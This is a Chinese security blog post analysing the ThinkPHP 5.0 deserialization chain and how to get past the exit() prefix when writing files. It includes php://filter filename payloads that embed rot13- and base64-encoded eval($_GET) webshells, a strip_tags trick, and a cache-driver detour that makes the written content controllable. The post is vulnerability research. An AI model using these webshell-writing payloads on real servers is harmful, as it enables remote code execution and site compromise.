关于 ThinkPHP5.0 反序列化链的扩展

2020-03-05 约 318 字 预计阅读 2 分钟

声明:本文 【关于 ThinkPHP5.0 反序列化链的扩展】 由作者 这是一个睿智 于 2020-03-05 09:42:53 首发 先知社区 曾经 浏览数 181 次

感谢 这是一个睿智 的辛苦付出!

前言

闲着无聊看了看 TP5.0 的反序列化链,突然发现网上的大部分链最后用的 filename 都是这样的:php://filter/write=string.rot13/resource=<?cuc @riny($_TRG[_]);?>/../a.php

因为某些原因需要在 filename 上做些手脚,并且 filenamevalue 的值基本是一样的,我们可以假设他是这样的:

<?php 
$filename = "php://filter/write=string.rot13/resource=<?cuc @riny($_TRG[_]);?>/../a.php";
$value = "<?php exit(); ?>".$filename;
file_put_contents($filename, $value);
?>

windows 下运行(wampserver ):

经过测试发现好像是问号(?)的问题。因为这样是可以的:

<?php 
$filename = "php://filter/write=string.rot13/resource=<script language=php>phpinfo();</script>/../../a.php";
$value = "<?php exit(); ?>".$filename;
file_put_contents($filename, $value);
?>

但是我决定直面一下这个问题,研究研究还有什么别的方法可以以 <? 开头写一个 shell

这里就不讲 TP5.0 链的细节了,大哥们的文章都说的很详细了

编码绕过

base64

首先想到的当然是 base64,一开始我很好奇为什么不用 base64 编码写 shell ,于是我测试了一下:

<?php 
$filename = "php://filter/write=convert.base64-decode/resource=PD9waHAgZXZhbCgkX0dFVFsxXSk7ICAgPz4/../a.php";
$value = "<?php exit(); ?>".$filename;
file_put_contents($filename, $value);
?>

但是这样也会报错:

这是为什么呢,因为 等于号 ,可能是 base64 遇到等于号时就停止解析了,这里的 write= 是可以去掉的,也就是说:

php://filter/convert.base64-decode/resource=a.php

这样的文件名是可以的,但是 resource= 去掉就会报错。

strip_tags + base64

那么也就是说我们把等于号去掉就可以了,于是我人肉 fuzz 了一下,发现了个特殊一点的文件名:

<?php 
$filename = "php://filter/string.strip_tags|convert.base64-decode|</resource=>aaPD9waHAgZXZhbCgkX0dFVFsxXSk7ICAgPz4/../a.php";
$value = "<?php exit(); ?>".$filename;
file_put_contents($filename, $value);
?>

我在 /resource 前加了个 <,然后在 = 后也加了个 >,这样会先触发 strip_tagsresource= 去掉,剩下就可以正常的解码了,

虽然会报错说没有找到 < 这个过滤器,但是是 warning,文件内容可以正常写入:

本来故事到这差不多结束了,但是这样在 thinkphp 还是不行,因为即使是 warning 也会被 tp 捕捉然后结束程序,于是只能寻找下一个方法。

控制文件名

跟过 tp5.0 反序列化的师傅们可能知道这个函数:

简单说一下,就是这里的 $name 就是上面代码里的文件名,然后正常来说他会到 else 的语句里,然后 $value 就是我们传进去的文件名了,最后又会进入一次 set 函数,这个 set 函数就是写文件的地方。

但是我们能不能让他进入 if 里呢?

理论上是可以的,但是在跟 has 函数会发现个问题:

这里的 $filename 就是那一长串 php://filter/.... 这些。这里是过不了 is_file 的。

我们现在假设一下这里没有 is_file,但是 getCacheKey 获取的文件名,是以 .php 结尾的,所以我们还是会面临一个问题,就是我们没有可控的 php 文件,此时想到如果我们可以写一个缓存文件就好了。

有的,刚好找到一条:

在正常的链中会进入 class ModeltoArray 函数,这里面有一句:

跟进去:

这里的 $modelRelation 是可控的,把他设置成 class HasOne 即可,进入这个类:

把这个 query 设置成 class Query,这里面需要设置一些数据的参数,我们可以控制成自己服务器的,然后返回特定的值,进入 find 函数,里面有几句话:

这里的 $result 是可控的,是执行了一段 sql 语句,从数据库中返回的值,只需要在数据库中插入相应的值即可,这里链接的还是我们自己设置的服务器,所以很好控制。

但是相反的,进入了这里以后, file_put_contents 这个函数的 $filename 就是不可控的,所以还是会被开头的 exit() 结束掉程序。

具体的细节就不展开来讲了。否则篇幅就过于冗长了

最简单的方法

好了,无用的分析就到这里,因为一开始没看到前面提到的 file_exists 所以浪费了很多时间。

既然那个方法不行,我们看看还有没有别的方法。

正常的链回到 class Outputwriteln 函数:

然后到 Memcache的 :

public function write($sessID, $sessData)
{
    return $this->handler->set($this->config['session_name'] . $sessID, $sessData, 0, $this->config['expire']);
}

这也就是为什么第二个参数是不可控的,但是这里的第一个参数可控

这里调用了 set,然后正常的路是直直的走向了 class File ,然后触发 file_put_contents,现在我们绕一下,我们走到 class think\cache\driver\Memcached

这里也有 set 函数,第一次进来时 $name 可控,但是 $value 不可控,这里我们把 $this->handler 设置成 class File,然后里面的 filename 也是可以控制得,前缀直接控制成:php://filter/conver.base64-decode/resource=

不需要花里胡哨的东西了。

首先会正常写入一次文件,进入到下面的 setTagItem 函数,这里的 $key 就是我们传入的 $name

setTagItem 上面其实有了,再贴出来一次:

protected function setTagItem($name)
    {
        if ($this->tag) {
           ....
            $key       = 'tag_' . md5($this->tag);
            $this->tag = null;
            if ($this->has($key)) { //返回 false,进入 else 语句
                .....
            } else {
                $value = $name;
            }
            $this->set($key, $value, 0);
        }
    }

看到这里相当于直接把 $name 代入到了 set 的第二个参数了。然后又回去一次,也就是上面的图,这次我们的 value 就是我们可控的值了。。

总结

可能有点乱,因为反序列化链如果要搞懂还是要自己跟入一下会比较清楚,这里也算是记录一下思考的过程。中间可能有错误,还请师傅们多指正,一起学习。

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now